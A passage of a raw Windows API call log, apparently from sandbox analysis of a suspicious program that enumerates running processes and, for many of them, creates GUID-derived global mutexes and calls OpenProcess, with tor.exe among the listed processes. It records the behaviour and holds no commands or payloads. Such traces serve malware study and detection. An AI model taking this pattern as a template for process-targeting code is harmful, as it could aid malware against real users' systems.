cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.768] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.769] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.770] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.771] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.772] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.773] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.773] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.774] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.775] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.776] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.777] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.778] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.779] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.780] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.781] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.782] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0114.782] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0114.782] GetLastError () returned 0xb7 [0114.782] CloseHandle (hObject=0x13e0) returned 1 [0114.782] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.783] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0114.783] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0114.783] GetLastError () returned 0xb7 [0114.783] CloseHandle (hObject=0x13e0) returned 1 [0114.783] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.784] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.785] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0114.785] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0114.785] GetLastError () returned 0x0 [0114.785] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0114.785] CloseHandle (hObject=0x13e0) returned 1 [0114.785] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.786] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0114.786] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0114.786] GetLastError () returned 0x0 [0114.786] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0114.786] CloseHandle (hObject=0x13e0) returned 1 [0114.786] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.787] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0114.787] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0114.787] GetLastError () returned 0xb7 [0114.787] CloseHandle (hObject=0x13e0) returned 1 [0114.787] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.788] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0114.788] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0114.788] GetLastError () returned 0x0 [0114.788] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0114.788] CloseHandle (hObject=0x13e0) returned 1 [0114.788] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0114.789] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0114.790] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0114.791] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0114.792] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0114.793] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0114.794] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0114.795] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0114.796] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0114.797] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0114.798] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0114.799] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0114.800] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0114.801] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0114.802] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0114.803] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0114.804] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0114.805] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0114.806] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0114.807] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0114.807] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0114.902] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.903] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0114.904] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.904] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.905] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.906] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.907] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.908] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.908] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.909] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0114.910] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0114.910] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0xef8 [0114.910] GetLastError () returned 0xb7 [0114.910] CloseHandle (hObject=0xef8) returned 1 [0114.910] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0114.911] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0114.912] CloseHandle (hObject=0x13d8) returned 1 [0114.912] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0115.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0115.139] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.140] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.140] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.141] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.142] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.143] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.143] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.144] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.145] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.146] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0115.147] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.147] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.148] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.149] Process32NextW (in: hSnapshot=0x13d8, 